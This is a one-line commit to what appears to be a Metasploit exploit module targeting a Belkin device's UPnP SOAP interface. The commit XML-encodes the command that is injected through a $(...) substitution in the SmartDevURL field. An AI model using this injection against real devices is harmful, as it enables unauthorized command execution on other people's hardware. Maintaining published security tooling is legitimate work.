Properly encode command input with XML entities

REXML would make this less ghetto.
master
William Vu 2019-04-03 19:10:27 -05:00
parent de6397445c
commit e164c2350c
1 changed files with 1 additions and 1 deletions

View File

@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
<SmartDevURL>$(#{cmd})</SmartDevURL>
<SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
</u:SetSmartDevInfo>
</s:Body>
</s:Envelope>